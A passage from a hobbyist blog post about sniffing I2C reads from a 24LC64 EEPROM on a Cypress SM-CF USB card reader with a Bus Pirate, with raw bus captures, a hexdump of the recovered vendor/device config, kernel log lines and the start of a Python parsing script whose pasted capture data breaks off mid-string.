-][0xA1+0x4D-][0xA1+0x00-][0xA1+0x2D-][0xA1+0x00-][0xA1+0x43-][0xA1+0x00-][0xA1+
0x46-][0xA1+0x00-][0xA1+0x20-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0x2E-][0
xA1+0x00-][0xA1+0x37-][0xA1+0x00-][0xA1+0x36-][0xA1+0x00-][0xA1+0x12-][0xA1+0x03
-][0xA1+0x31-][0xA1+0x00-][0xA1+0x31-][0xA1+0x00-][0xA1+0x32-][0xA1+0x00-][0xA1+
0x30-][0xA1+0x00-][0xA1+0x34-][0xA1+0x00-][0xA1+0x45-][0xA1+0x00-][0xA1+0x43-][0
xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0x12-][0xA1+0x01-][0xA1+0x10-][0xA1+0x01
-][0xA1+0x00-][0xA1+0x00-][0xA1+0x00-][0xA1+0x08-][0xA1+0xCE-][0xA1+0x04-][0xA1+
0x02-][0xA1+0x00-][0xA1+0x76-][0xA1+0x00-][0xA1+0x01-][0xA1+0x01-][0xA1+0x02-][0
xA1+0x01-][0xA1+0xFF-][0xA1+0xFF-][  
  

Although the output is not easy on the eyes (and I've trimmed some of the nulls too), it's easy to see that it's split into three blocks that start with "[0xA0+0x??+0x??+" followed many "[0xA1+0x??-]" chunks. According to the datasheet the first byte is the 'control byte', and the first nibble of that byte is the 'control code' - in binary: 1010 or 'A' in hex. The first three bits of the second nibble are chip select bits; this board only has a single chip so is all zero's here (although it does have unpopulated pads for a second one). The last bit specifies if we're reading(0) or writing(1) - this made sense for the 0xA1 commands: the last bit was set so they were reads, but the 0xA0 commands should be writes. After re-reading the datasheet I realised that to set the memory location to start reading from, you need to initiate a write but abort after setting the address and start reading instead.

Now it's clear what's being read: the first 288 bytes, followed by - strangely - the same location (0x0f80) being read twice; once for 114 bytes and then for 124 bytes...

Finally I wanted to be able to capture the data in a raw binary file suitable for further analysis, and so I've put together a python script to mirror the read commands into a file. Running this file through hexdump we get the promised vendor/device config:

lee@monkeybox ~/Documents $ hexdump -C sniffed_24LC64.bin 
00000000  c3 00 06 00 b6 04 00 c0  00 c3 00 a6 c2 b6 06 00  |................|
00000010  00 11 11 c3 00 be 44 b6  62 00 00 07 00 07 00 00  |......D.b.......|
00000020  af cf 07 11 01 07 00 01  09 01 02 09 01 02 07 00  |................|
00000030  c0 cf 07 00 07 02 30 47  00 c3 94 da 14 94 cf 07  |......0G........|
00000040  02 04 10 57 15 cc 07 11  cf 00 00 c3 00 0e 48 b6  |...W..........H.|
00000050  3e 00 00 57 06 07 11 00  a0 00 cf f3 07 0f 07 11  |>..W............|
00000060  07 00 90 af 00 da c1 09  c0 67 00 10 11 cf d8 af  |.........g......|
00000070  af c3 00 16 02 b6 50 00  02 00 07 c0 07 02 07 02  |......P.........|
00000080  cf 09 c0 af 77 00 02 c0  04 07 01 af 00 60 c1 07  |....w........`..|
00000090  00 02 cf 00 00 af 00 da  00 c0 af af 05 c0 df cf  |................|
000000a0  c3 00 1a a2 b6 2e 00 03  af f4 07 00 c0 07 00 c0  |................|
000000b0  07 04 02 87 00 c0 87 00  c0 07 00 02 07 11 00 07  |................|
000000c0  11 00 af 00 07 00 02 07  11 01 07 00 01 09 01 02  |................|
000000d0  09 01 02 07 00 c0 cf 09  c0 af 07 00 09 20 01 00  |............. ..|
000000e0  96 04 00 08 50 07 02 40  00 05 02 00 04 09 26 43  |....P..@......&C|
000000f0  59 50 52 45 53 53 20 53  4d 2d 43 46 20 30 2e 37  |YPRESS SM-CF 0.7|
00000100  36 12 31 31 32 30 34 45  43 30 12 10 00 00 ce 02  |6.11204EC0......|
00000110  76 01 02 ff 00 00 00 00  00 00 00 00 00 00 00 00  |v...............|
00000120  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000f80  00 00 00 00 00 00 00 00  00 00 00 00 02 00 01 c0  |................|
00000f90  09 00 02 06 00 05 02 00  07 81 40 00 03 04 03 00  |..........@.....|
00000fa0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000fb0  00 03 00 00 00 00 00 00  00 00 01 01 00 08 04 00  |................|
00000fc0  00 01 01 ff 09 20 01 00  96 04 00 08 50 07 02 40  |..... ......P..@|
00000fd0  00 05 02 00 04 09 26 43  59 50 52 45 53 53 20 53  |......&CYPRESS S|
00000fe0  4d 2d 43 46 20 30 2e 37  36 12 31 31 32 30 34 45  |M-CF 0.76.11204E|
00000ff0  43 30 12 10 00 00 ce 02  76 01 02 ff              |C0......v...|
00000ffc
  

Which is pretty much what the kernel says (interestingly the 'SerialNumber' gets incremented on reconnect..):

[1321152.572460] usb 1-6.2: New USB device found, idVendor=04ce, idProduct=0002
[1321152.572468] usb 1-6.2: New USB device strings: Mfr=1, Product=1, SerialNumber=2
[1321152.572474] usb 1-6.2: Product: CYPRESS SM-CF 0.76
[1321152.572479] usb 1-6.2: Manufacturer: CYPRESS SM-CF 0.76
[1321152.572483] usb 1-6.2: SerialNumber: 11204EC3  
  

Quick and dirty python script, writes to 'sniffed_24LC64.bin':

'''
Parses 24LC64 reads, writes a 64k file, filling data in from reads captured using the 
buspirate's i2c sniffer.
'''

sniffed = '''][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][]][][][][[][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
[][][][][][][][][][][][][][][][][][][][][][[][][][][][][][][[0xA0+0x00+0x00+[0xA
1+0xB6-][0xA1+0xC3-][0xA1+0x04-][0xA1+0x00-][0xA1+0x00-][0xA1+0x06-][0xA1+0xC0-]
[0xA1+0x00-][0xA1+0x00-][0xA1+0xB6-][0xA1+0xC3-][0xA1+0x04-][0xA1+0x00-][0xA1+0x
00-][0xA1+0x3A-][0xA1+0xC0-][0xA1+0x09-][0xA1+0x00-][0xA1+0xB6-][0xA1+0xC3-][0xA
1+0x04-][0xA1+0x00-][0xA1+0x00-][0xA1+0xA6-][0xA1+0x00-][0xA1+0xC2-][0xA1+0x00-]
[0xA1+0xB6-][0xA1+0xC3-][0xA1+0x06-][0xA1+0x00-][0xA1+0x00-][0xA1+0xB6-][0xA1+0x
00-][0xA1+0x7E-][0xA1+0x11-][0xA1+0x9E-][0xA1+0x11-][0xA1+0xB6-][0xA1+0xC3-][0xA
1+0x04-][0xA1+0x00-][0xA1+0x00-][0xA1+0xBE-][0xA1+0x00-][0xA1+0x44-][0xA1+0x03-]
[0xA1+0xB6-][0xA1+0xC3-][0xA1+0x62-][0xA1+0x00-][0xA1+0x00-][0xA1+0x1E-][0xA1+0x
00-][0xA1+0xD2-][0xA1+0x07-][0xA1+0x40-][0xA1+0x00-][0xA1+0xE7-][0xA1+0x07-][0xA
1+0x08-][0xA1+0x00-][0xA1+0x7A-][0xA1+0x00-][0xA1+0x03-][0xA1+0xAF-][0xA1+0x97-]
[0xA1+0xCF-][0xA1+0xE7-][0xA1+0x07-][0xA1+0x70-][0xA1+0x11-][0xA1+0x24-][0xA1+0x
01-][0xA1+0xE7-][0xA1+0x07-][0xA1+0x0D-][0xA1+0x00-][0xA1+0x26-][0xA1+0x01-][0xA
1+0xE7-][0xA1+0x09-][0xA1+0x24-][0xA1+0x01-][0xA1+0x8E-][0xA1+0x02-][0xA1+0xE7-]
[0xA1+0x09-][0xA1+0x26-][0xA1+0x01-][0xA1+0x86-][0xA1+0x02-][0xA1+0xE7-][0xA1+0x
07-][0xA1+0x07-][0xA1+0x00-][0xA1+0x92-][0xA1+0xC0-][0xA1+0x97-][0xA1+0xCF-][0xA
1+0xC0-][0xA1+0x07-][0xA1+0x40-][0xA1+0x00-][0xA1+0xC9-][0xA1+0x07-][0xA1+0x5E-]
[0xA1+0x02-][0xA1+0x21-][0xA1+0x30-][0xA1+0xD1-][0xA1+0x47-][0xA1+0x00-][0xA1+0x
00-][0xA1+0x97-][0xA1+0xC3-][0xA1+0x51-][0xA1+0x94-][0xA1+0x49-][0xA1+0xDA-][0xA
1+0x40-][0xA1+0x14-][0xA1+0x51-][0xA1+0x94-][0xA1+0x97-][0xA1+0xCF-][0xA1+0xCA-]
[0xA1+0x07-][0xA1+0x5C-][0xA1+0x02-][0xA1+0x87-][0xA1+0x04-][0xA1+0x12-][0xA1+0x
10-][0xA1+0xD2-][0xA1+0x57-][0xA1+0x7E-][0xA1+0x15-][0xA1+0x97-][0xA1+0xCC-][0xA
1+0xD2-][0xA1+0x07-][0xA1+0x7E-][0xA1+0x11-][0xA1+0x97-][0xA1+0xCF-][0xA1+0x00-]
[0xA1+0x00-][0xA1+0x00-][0xA1+0x00-][0xA1+0xB6-][0xA1+0xC3-][0xA1+0x04-][0xA1+0x
00-][0xA1+0x00-][0xA1+0x0E-][0xA1+0x00-][0xA1+0x48-][0xA1+0x11-][0xA1+0xB6-][0xA
1+0xC3-][0xA1+0x3E-][0xA1+0x00-][0xA1+0x00-][0xA1+0xC2-][0xA1+0x00-][0xA1+0xD0-]
[0xA1+0x57-][0xA1+0x80-][0xA1+0x06-][0xA1+0xE7-][0xA1+0x07-][0xA1+0xDA-][0xA1+0x
11-][0xA1+0xB4-][0xA1+0x00-][0xA1+0x9F-][0xA1+0xA0-][0xA1+0xD4-][0xA1+0x00-][0xA
1+0x9F-][0xA1+0xCF-][0xA1+0x32-][0xA1+0xF3-][0xA1+0xC1-][0xA1+0x07-][0xA1+0x8C-]
[0xA1+0x0F-][0xA1+0xCB-][0xA1+0x07-][0xA1+0x7E-][0xA1+0x11-][0xA1+0xC9-][0xA1+0x
07-][0xA1+0x70-][0xA1+0x00-][0xA1+0x00-][0xA1+0x90-][0xA1+0x41-][0xA1+0xAF-][0xA
1+0x2B-][0xA1+0x00-][0xA1+0x09-][0xA1+0xDA-][0xA1+0x7B-][0xA1+0xC1-][0xA1+0xC0-]
[0xA1+0x09-][0xA1+0x84-][0xA1+0xC0-][0xA1+0xC0-][0xA1+0x67-][0xA1+0x07-][0xA1+0x
00-][0xA1+0x27-][0xA1+0x10-][0xA1+0xD8-][0xA1+0x11-][0xA1+0x97-][0xA1+0xCF-][0xA
1+0x4F-][0xA1+0xD8-][0xA1+0x46-][0xA1+0xAF-][0xA1+0x47-][0xA1+0xAF-][0xA1+0xB6-]
[0xA1+0xC3-][0xA1+0x04-][0xA1+0x00-][0xA1+0x00-][0xA1+0x16-][0xA1+0x00-][0xA1+0x
02-][0xA1+0x03-][0xA1+0xB6-][0xA1+0xC3-][0xA1+0x50-][0xA1+0x00-][0xA1+0x00-][0xA
1+0xF2-][0xA1+0x02-][0xA1+0x00-][0xA1+0x00-][0xA1+0xCC-][0xA1+0x07-][0xA1+0x24-]
[0xA1+0xC0-][0xA1+0xCD-][0xA1+0x07-][0xA1+0x5A-][0xA1+0x02-][0xA1+0xCE-][0xA1+0x
07-][0xA1+0xF2-][0xA1+0x02-][0xA1+0x97-][0xA1+0xCF-][0xA1+0xD7-][0xA1+0x09-][0xA
1+0x00-][0xA1+0xC0-][0xA1+0x4D-][0xA1+0xAF-][0xA1+0xE7-][0xA1+0x77-][0xA1+0x02-]
[0xA1+0x00-][0xA1+0xF2-][0xA1+0x02-][0xA1+0x9F-][0xA1+0xC0-][0xA1+0x06-][0xA1+0x
04-][0xA1+0xCA-][0xA1+0x07-][0xA1+0x24-][0xA1+0x01-][0xA1+0x9F-][0xA1+0xAF-][0xA
1+0x4C-][0xA1+0x00-][0xA1+0x00-][0xA1+0x60-][0xA1+0x04-][0xA1+0xC1-][0xA1+0xE7-]
[0xA1+0x07-][0xA1+0x04-][0xA1+0x00-][0xA1+0xF2-][0xA1+0x02-][0xA1+0x08-][0xA1+0x
CF-][0xA1+0x32-][0xA1+0x00-][0xA1+0x02-][0xA1+0x00-][0xA1+0x9F-][0xA1+0xAF-][0xA
1+0x6E-][0xA1+0x00-][0xA1+0x27-][0xA1+0xDA-][0xA1+0x7A-][0xA1+0x00-][0xA1+0x01-]
[0xA1+0xC0-][0xA1+0x03-][0xA1+0xAF-][0xA1+0x4E-][0xA1+0xAF-][0xA1+0xE7-][0xA1+0x
05-][0xA1+0x00-][0xA1+0xC0-][0xA1+0xC0-][0xA1+0xDF-][0xA1+0x97-][0xA1+0xCF-][0xA
1+0xB6-][0xA1+0xC3-][0xA1+0x04-][0xA1+0x00-][0xA1+0x00-][0xA1+0x1A-][0xA1+0x00-]
[0xA1+0xA2-][0xA1+0x03-][0xA1+0xB6-][0xA1+0xC3-][0xA1+0x2E-][0xA1+0x0E-][0xA1+0x
00-][0xA1+0x44-][0xA1+0x03-][0xA1+0x9F-][0xA1+0xAF-][0xA1+0xE0-][0xA1+0xF4-][0xA
1+0xE7-][0xA1+0x07-][0xA1+0x02-][0xA1+0x00-][0xA1+0x3E-][0xA1+0xC0-][0xA1+0xE7-]
[0xA1+0x07-][0xA1+0x21-][0xA1+0x00-][0xA1+0x0E-][0xA1+0xC0-][0xA1+0xE7-][0xA1+0x
07-][0xA1+0x44-][0xA1+0x04-][0xA1+0xD2-][0xA1+0x02-][0xA1+0xE7-][0xA1+0x87-][0xA
1+0xD7-][0xA1+0x00-][0xA1+0x24-][0xA1+0xC0-][0xA1+0xE7-][0xA1+0x87-][0xA1+0xD7-]
[0xA1+0x00-][0xA1+0x28-][0xA1+0xC0-][0xA1+0xE7-][0xA1+0x07-][0xA1+0x00-][0xA1+0x
00-][0xA1+0x5A-][0xA1+0x02-][0xA1+0xE7-][0xA1+0x07-][0xA1+0x58-][0xA1+0x11-][0xA
1+0xAE-][0xA1+0x00-][0xA1+0xE7-][0xA1+0x07-][0xA1+0x0E-][0xA1+0x11-][0xA1+0x00-]
[0xA1+0x00-][0xA1+0x9F-][0xA1+0xAF-][0xA1+0x2C-][0xA1+0x00-][0xA1+0xE7-][0xA1+0x
07-][0xA1+0x00-][0xA1+0x00-][0xA1+0xF2-][0xA1+0x02-][0xA1+0xE7-][0xA1+0x07-][0xA
1+0x70-][0xA1+0x11-][0xA1+0x28-][0xA1+0x01-][0xA1+0xE7-][0xA1+0x07-][0xA1+0x1F-]
[0xA1+0x00-][0xA1+0x2A-][0xA1+0x01-][0xA1+0xE7-][0xA1+0x09-][0xA1+0x28-][0xA1+0x
01-][0xA1+0x90-][0xA1+0x02-][0xA1+0xE7-][0xA1+0x09-][0xA1+0x2A-][0xA1+0x01-][0xA
1+0x88-][0xA1+0x02-][0xA1+0xE7-][0xA1+0x07-][0xA1+0x03-][0xA1+0x00-][0xA1+0x94-]
[0xA1+0xC0-][0xA1+0x97-][0xA1+0xCF-][0xA1+0xD7-][0xA1+0x09-][0xA1+0x00-][0xA1+0x
C0-][0xA1+0x4D-][0xA1+0xAF-][0xA1+0xE7-][0xA1+0x07-][0xA1+0x06-][0xA1+0x00-]0x0x
]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x
]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x
]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00xD0x0x]0x0x[0x0
x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0
x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0
x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0
x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0
x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0
x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x
0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x
0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x
0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x
0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x
0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x
0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x
0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0
x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0
x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0
x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0
x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0
x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0
x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0
x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[
0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x90x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[
0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[
0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00xC0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]
0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]
0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x
0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x
0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x
[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x
[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x
[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x
[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x
]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x
]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0
x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0
x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x20x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0
x[0x0x0x0x]0x0x[0x0x[00x70x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0
x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0
x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0
x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x
0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x
0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x
0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x
0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x
0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x
0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x
0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0
x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0
x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0
x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0
x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0
x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0
x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0
x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[
00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[
0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]
0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]
0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]
0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x90x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x0
0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x00x0x]0x0x[0x0x
0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x
[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x
[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x
[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x
]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x
]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x
]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00xE0x0x]0x0x[0x0
x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0
x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0
x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0
x[0x0x[0x0]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0
x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0
x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x
0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x
0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x00x0x]0x0x[0x0x0x0x]0x0x[0x
0x[00x90x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x
0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x
0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x
0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x
0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x
0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0
x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0
x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0
x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00xC0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0
